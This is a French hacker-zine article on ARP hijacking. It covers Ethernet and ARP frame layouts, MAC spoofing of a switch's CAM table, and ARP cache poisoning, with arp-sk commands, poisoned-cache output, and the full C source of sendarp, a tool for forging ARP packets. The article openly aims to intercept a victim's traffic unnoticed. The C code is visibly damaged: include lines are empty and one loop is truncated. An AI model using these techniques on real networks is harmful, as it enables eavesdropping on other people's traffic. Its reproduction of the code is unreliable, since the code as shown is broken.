--------------------------------------------------------------- II.: HIJACKING ARP Par groslameur --------------------------------------------------------------- [ Presentation du protocole ARP ] Le protocole ARP est utilié pour faire la correspondance en- -tre adresses physiques (adresses MAC) et adresses logiques (adresses IP) sur un réseau LAN, reposant sur le protocole Ethernet. Les adresses MAC s'écrivent sur 6 octets, dont les 3 premiers identifient le constructeur et les trois suivants identifient la machine. Voici un shéma représentant une trame Ethernet : (6) (6) (2) ( 46 < x < 1500) (4) <-------------><-------------><------><--------------------><-----> '-----------------------------------------------------------------' | dest adress | source adress | type | données | bourrage | CRC | '-----------------------------------------------------------------' Par ailleurs la structure définissant cette trame se trouve dans le fichier /usr/include/ethernet.h : struct ether_header { u_int8_t ether_dhost[ETH_ALEN]; /* destination eth addr */ u_int8_t ether_shost[ETH_ALEN]; /* source ether addr */ u_int16_t ether_type; /* packet type ID field */ } __attribute__ ((__packed__)); Les dhost et shost address représentent les adresses MAC sources et de destination. Les différents types de trame, quand à eux, sont ceux ci (extrait de /usr/include/ethernet.h) : #define ETHERTYPE_PUP 0x0200 /* Xerox PUP */ #define ETHERTYPE_IP 0x0800 /* IP */ #define ETHERTYPE_ARP 0x0806 /* Address resolution */ #define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */ #define ETHER_ADDR_LEN ETH_ALEN /* size of ethernet addr */ #define ETHER_TYPE_LEN 2 /* bytes in type field */ #define ETHER_CRC_LEN 4 /* bytes in CRC field */ #define ETHER_HDR_LEN ETH_HLEN /* total octets in header */ #define ETHER_MIN_LEN (ETH_ZLEN + ETH_CRC_LEN) /* min length */ #define ETHER_MAX_LEN (ETH_FRAME_LEN + ETH_CRC_LEN) /* max l.*/ Pour connaître son adresse MAC, on fera appel à la commande "ifconfig -a" sous linux et "ipconfig /all" sous windows. Vous constaterez que les adresses physiques sont écrites sous la forme xx:xx:xx:xx:xx:xx, sachez que FF:FF:FF:FF correspond à une machine broadcast. Le principe d'un réseau Ethernet est très simple. Lorsqu'une trame est émise sur un réseau, toutes les machines la reçoi- -vent, ces machines vont ensuite comparer l'adresse MAC de leur carte réseau avec l'adresse de destination de la trame, si il y'a correspondance, alors le paquet est lu. Notre ob- -jectif va donc être de détourner ces trames, on pourrait bien sûr penser à utiliser un outil tel que TCPdump pour capturer les données transitant sur le réseau, en passant sa carte en mode promiscuous (tous les paquets sont lisibles par la carte, même ceux qui ne lui sont pas destinés), mais cette technique sera assez limitée, étant donné qu'il ne s'agira pas de de- -tourner le trafic sortant ou entrant d'une machine définie, mais de sniffer l'intégrité des trames de toutes machines (et encore, notre portée d'écoute risquera d'être très limitée), ce qui nous servira peu dans le cas d'un hijacking... Revenons maintenant à ARP, comme on l'a vu, il servira, a par- -tir d'une adresse IP, à retrouver l'adresse MAC de la machi- -ne. Il existe également une "variante", RARP (Reverse-ARP), qui elle, offre le moyen de retrouver une adresse IP à partir d'une adresse MAC sur un réseau LAN. Voilà maintenant le shéma d'une trame ARP/RARP : '-----------------------------------------------' | Type d'équipement (16b) | '-----------------------------------------------' | Identifiant de protocole (16b) | '-----------------------------------------------' | Longueur de (8b) | Longueur de (8b) | | l'adresse physique | l'adresse logique | '-----------------------------------------------' | Opération (16b) | '-----------------------------------------------' | Adresse logique de l'expéditeur (32b) | '-----------------------------------------------' | Adresse physique du recepteur (variable) | '-----------------------------------------------' | Adresse logique du recepteur (32b) | '-----------------------------------------------' Le type d'équipement désigne le type de matériel à employer, dans notre cas, sa valeur sera fixée à 1 (Ethernet). L'identi- -fiant de protocole désigne le protocole à utiliser et l'opé- -ration désigne l'opération que doit utiliser le message, 1 correspond à une requète ARP, 2 à une réponse ARP, 3 à une requète RARP, et 4 à une réponse RARP. Au cas ou vous auriez du mal à cerner les autres champs, je vous rapelle que l'on désigne une adresse logique par une adresse IP, et une ad- -resse physique par une adresse MAC. A noter que ARP posède un mécanisme de cache, qui permet de sauvegarder correspondances IP/MAC dans une table, consultable par la commande "arp -a" (tout OS confondus). Voici un petit exemple : [kefka] $ arp -a ultimecia (192.168.239.2) at 44:44:44:DE:6a:34 [ether] on eth0 Ainsi, pour la carte réseau de kefka@hackzine, une correspon- -dance entre l'adresse logique et l'adresse physique de ulti- -mecia est établie, kefka peut donc envoyer des trames à ultimecia. Pour rajouter une entrée dans notre table, on en- -verra une requète à la machine avec laquelle nous souhaitons communiquer, et dont nous ne connaissons pas l'adresse MAC. [ Détournement de trames ] Passons aux choses proprement dites... Notre but va être de détourner les trames d'une machine quelconque sur un LAN, on pourrait tout d'abord penser à mettre en oeuvre des techniques de sniffing, comme on l'a vu dans le petit a), le sniffing présente des inconvénients, ou de spoofing : 1/ Mac Spoofing Les commutateurs Ethernet disposent d'une table apellée CAM, contenant pour chaque port eth* les adresses MAC des machines connectées. Le MAC spoofing va consister à se ser- -vir d'un mécanisme de mise à jour de cette table, ainsi si nous envoyons une trame ethernet dont l'adresse source est l'adresse physique de la victime, et l'adresse de destina- -tion notre propre adresse physique, le commutateur va met- -tre à jour sa table en établissant une correspondance entre l'adressse MAC de la victime et notre port eth*. Pour envoyer nos trames, nous pourrons par exemple utiliser le programme arp-sk,telechargable sur http://www.arp-sk.org. Et voici un petit exemple, au cas ou notre machine (kefka) serait désireuse d'intercepter le trafic entrant sur la machine ultimecia : Représentation de la CAM : Port | Adresse MAC ------------------- 1 | 44:44:44:11:4d:88 // kefka 2 | 44:44:44:DE:6a:34 // ultimecia 3 | 02:54:44:d8:6e:3f // orbital 4 | 45:54:55:ED:4e:Fe // bahamut [kefka] $ arp-sk -w -d kefka -s ultimecia Représentation de la nouvelle CAM Port | Adresse MAC ------------------- 1 | 44:44:44:11:4d:88; 44:44:44:DE:6a:34 // kefka, ultimecia 2 | 3 | 02:54:44:d8:6e:3f // orbital 4 | 45:54:55:ED:4e:Fe // bahamut En clair, désormais si une machine tente de communiquer à notre victime, nous pourrons intercepter cette communica- -tion. Un inconvénient majeur de cette technique est que, si la victime essaye d'envoyer des trames, le commutateur ne saura plus ou donner de la tête, il ne pourra pas asso- -cier la même adresse MAC à deux ports différents, l'idéal serait donc de déconnecter la victime, en utilisant une attaque de refus de service (DOS), ce qui serait trop peu discret à mettre en oeuvre... Autre problème, les trames envoyées des machines à notre victime ne seront pas reçues par celle-ci, mais par notre machine uniquement, l'écoute de connexion sera donc impossible. Le sniffing et le spoofing n'étant pas fonctionnels, que reste il ? La meilleure solution, serait directement d'aller corrompre le cache ARP de notre victime, c'est à dire réu- -ssir à rajouter une entrée dans la table d'une machine. 2/ ARP Cache Poisonning Pour ajouter une entrée dans le cache ARP de notre victi- -me, nous utiliserons tout simplement une faiblesse dans la mise à jour de la table ARP. Lorsqu'une machine reçoit une requète ARP (à travers un ping comme on l'a vu tout à l'heure), cette machine va lire l'adresse physique source et l'adresse logique source de la requète ARP, et ajouter une entrée dans son cache. L'idéal va donc être de mystifer notre adresse IP source sur celle d'une potentielle victime, et d'envoyer une re- -quète ARP contenant cette IP dans le champ adresse logi- -que source, et contenant notre adresse physique dans le champ adresse physique source, à une machine cible. Dès lors, quand cette machine essaiera d'envoyer un paquet à notre victime, ce paquet sera redirigé vers notre propre machine. Mais voici un exemple plus concret. Je (kefka) désire crée une entrée dans le cache ARP de ultimecia, associant ainsi mon adresse MAC à celle de ma victime, orbital. Pour cela j'envoie une requète ARP dont le champs adresse physique source contient mon adresse MAC, le champs adresse logique source celle d'orbital, à ultimecia. Nous enverrons notre requète en unicast (option -d), afin qu'elle ne puisse être vue uniquement par notre recepteur (ultimecia). # Cache ARP d'ultimecia avant mise à jour: [ultimecia] $ arp -a bahamut (192.168.239.4) at 45:54:55:ED:4e:Fe [kefka] $ arp-sk -w -d ultimecia -S orbital -D ultimecia + Running mode "who-has" + IfName: eth0 + Source MAC: 44:44:44:11:4d:88 + Source ARP MAC: 44:44:44:11:4d:88 + Source ARP IP : 192.168.239.3 (orbital) + Target MAC: 44:44:44:DE:6a:34 + Target ARP MAC: 00:00:00:00:00:00 + Target ARP IP : 192.168.239.2 (ultimecia) (......) # Cache ARP d'ultimecia après mise à jour: [ultimecia] $ arp -a orbital (192.168.239.3) at 44:44:44:11:4d:88 bahamut (192.168.239.4) at 45:54:55:ED:4e:Fe Résultat : Nous avons pu associer notre adresse physique à l'adresse logique d'orbital dans le cache ARP d'ultimecia, désormais toutes les trames envoyées par ultimecia à orbital seront interceptées par nos soins... On pourra par la suite, bien sûr, rediriger les trames interceptées à orbital, dans le but de ne laisser planer aucun soupçon, on pourra par e- -xemple utiliser la fonction REDIRECT du pare-feu filtre de paquet iptable, intégré au kernel (voir article sur le fi- -rewalling pour plus d'infos ;). /* sendarp.c Modified by Jonathan R. Seagrave 14 Sep 00 Based on code from Yuri Volobuev This program sends out one ARP packet with source/target IP and Ethernet hardware addresses suuplied by the user. It compiles and works on Linux and will probably work on any Unix that has SOCK_PACKET. The idea behind this program is a proof of a concept, nothing more. It comes as is, no warranty. However, you're allowed to use it under one condition: you must use your brain simultaneously. If this condition is not met, you shall forget about this program and go RTFM immediately. yuri volobuev'97 volobuev@t1.chem.umn.edu */ #include #include #include #include #include #include #include #include #include #include #define ETH_HW_ADDR_LEN 6 #define IP_ADDR_LEN 4 #define ARP_FRAME_TYPE 0x0806 #define ETHER_HW_TYPE 1 #define IP_PROTO_TYPE 0x0800 #define DEBUG 1 char usage[] = {"sendarp: send an arp packet\n\ usage: sendarp [-?] [-v] [-t message_type] [-i interface]\n\ [-p sender_protocol_address] [-P target_protocol_address]\n\ [-h sender_hardware_address] [-H target_hardware_address] [-v]\n\ \n\ -? display this message \n\ -v verbose Default: not verbose\n\ Be verbose\n\ \n\ -t message type Default: 1\n\ Identifies the purpose for this ARP packet\n\ 1 ARP Request\n\ 2 ARP Response\n\ 3 Reverse ARP Request\n\ 4 Reverse ARP Response\n\ 8 Inverse ARP Request\n\ 9 Inverse ARP Response\n\ \n\ -i interface Default: eth0\n\ Select an interface (eth1, lo, ppp0, whatever...)\n\ \n\ -p sender protocol address Default: 0.0.0.0\n\ Identifies the ip address of the system issuing the ARP packet.\n\ \n\ -P target protocol address Default: 0.0.0.0\n\ Identifies the ip address of the ARP packet's destination.\n\ \n\ -h sender hardware address Default: 00:00:00:00:00:00\n\ Identifies the hardware address of the system issuing the ARP packet.\n\ \n\ -H target hardware address Default: 00:00:00:00:00:00\n\ Identifies the hardware address of the ARP packet's destination.\n\ \n\ Bugs:\n\ if you find any please email \n\ thanks. \n\ Author(s):\n\ Derived from send_arp.c by Yuri Volobuev 1997\n\ Modified by Jonthan R. Seagrave 14 Sep 2000\n\ \n"}; struct arp_packet { u_char dst_hw_addr[ETH_HW_ADDR_LEN]; u_char src_hw_addr[ETH_HW_ADDR_LEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short type; u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; u_char sndr_ip_addr[IP_ADDR_LEN]; u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; u_char rcpt_ip_addr[IP_ADDR_LEN]; u_char padding[18]; }; void send_arp(char *src_ip, char *src_hw_addr, char *dst_ip, char *dst_hw_addr, char *interface, u_short type); void die(char *); void get_ip_addr(struct in_addr*,char*); void get_hw_addr(char*,char*); int main (int argc,char** argv) { char src_hw_addr[32]; char dst_hw_addr[32]; char src_ip[32]; char dst_ip[32]; char interface[32]; u_short type = 1; char *arg; u_short verbose = 0; int i = 1; u_short help = 0; strcpy(src_hw_addr, "00:00:00:00:00:00"); strcpy(dst_hw_addr, "00:00:00:00:00:00"); strcpy(src_ip, "0.0.0.0"); strcpy(dst_ip, "0.0.0.0"); strcpy(interface, "eth0"); if (argc <= 1) help = 1; while (arg = argv[i]) { i++; if (strcmp("-i", arg) == 0) { strncpy(interface, argv[i++], 31); } else if (strcmp("-p", arg) == 0) { strncpy(src_ip, argv[i++], 31); } else if (strcmp("-P", arg) == 0) { strncpy(dst_ip, argv[i++], 31); } else if (strcmp("-h", arg) == 0) { strncpy(src_hw_addr, argv[i++], 31); } else if (strcmp("-H", arg) == 0) { strncpy(dst_hw_addr, argv[i++], 31); } else if (strcmp("-v", arg) == 0) { verbose = 1; } else if (strcmp("-t", arg) == 0) { arg = argv[i++]; if (strcmp("1", arg) == 0) type = 1; else if (strcmp("2", arg) == 0) type = 2; else if (strcmp("3", arg) == 0) type = 3; else if (strcmp("4", arg) == 0) type = 4; else if (strcmp("8", arg) == 0) type = 8; else if (strcmp("9", arg) == 0) type = 9; } else { help = 1; } } if (help) printf("%s", usage); if (verbose) { printf("Sending ARP Packet:\n"); printf(" Interface: %s\n", interface); printf(" Message type: %d\n", type); printf(" Sender hardware address: %s\n", src_hw_addr); printf(" Sender protocol address: %s\n", src_ip); printf(" Target hardware address: %s\n", dst_hw_addr); printf(" Target protocol address: %s\n", dst_ip); } send_arp(src_ip, src_hw_addr, dst_ip, dst_hw_addr, interface, type); exit (0); } void send_arp(char *src_ip, char *src_hw_addr, char *dst_ip, char *dst_hw_addr, char *interface, u_short type){ struct in_addr src_in_addr,dst_in_addr; struct arp_packet pkt; struct sockaddr sa; int sock; sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP)); if(sock<0){ perror("socket"); exit(1); } pkt.frame_type = htons(ARP_FRAME_TYPE); pkt.hw_type = htons(ETHER_HW_TYPE); pkt.prot_type = htons(IP_PROTO_TYPE); pkt.hw_addr_size = ETH_HW_ADDR_LEN; pkt.prot_addr_size = IP_ADDR_LEN; pkt.type=htons(type); get_hw_addr(pkt.src_hw_addr, "ff:ff:ff:ff:ff:ff"); get_hw_addr(pkt.dst_hw_addr, "ff:ff:ff:ff:ff:ff"); get_hw_addr(pkt.sndr_hw_addr, src_hw_addr); get_hw_addr(pkt.rcpt_hw_addr, dst_hw_addr); get_ip_addr(&src_in_addr, src_ip); get_ip_addr(&dst_in_addr, dst_ip); memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr,&dst_in_addr,IP_ADDR_LEN); bzero(pkt.padding,18); strcpy(sa.sa_data, interface); if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){ perror("sendto"); exit(1); } exit(0); } void die(char* str){ fprintf(stderr,"%s\n",str); exit(1); } void get_ip_addr(struct in_addr* in_addr,char* str){ struct hostent *hostp; in_addr->s_addr=inet_addr(str); if(in_addr->s_addr == -1){ if( (hostp = gethostbyname(str))) bcopy(hostp->h_addr,in_addr,hostp->h_length); else { fprintf(stderr,"send_arp: unknown host %s\n",str); exit(1); } } } void get_hw_addr(char* buf,char* str){ int i; char c,val; char hw_addr[64]; strcpy (hw_addr, str); for(i=0;i= 'a' && c <= 'f') val = c-'a'+10; else { char msg[64]; sprintf(msg, "Invalid hardware address: %s", hw_addr); die(msg); } *buf = val << 4; if( !(c = tolower(*str++))) die("Invalid hardware address"); if(isdigit(c)) val = c-'0'; else if(c >= 'a' && c <= 'f') val = c-'a'+10; else { char msg[64]; sprintf(msg, "Invalid hardware address: %s", hw_addr); die(msg); } *buf++ |= val; if(*str == ':')str++; } } [-EOF]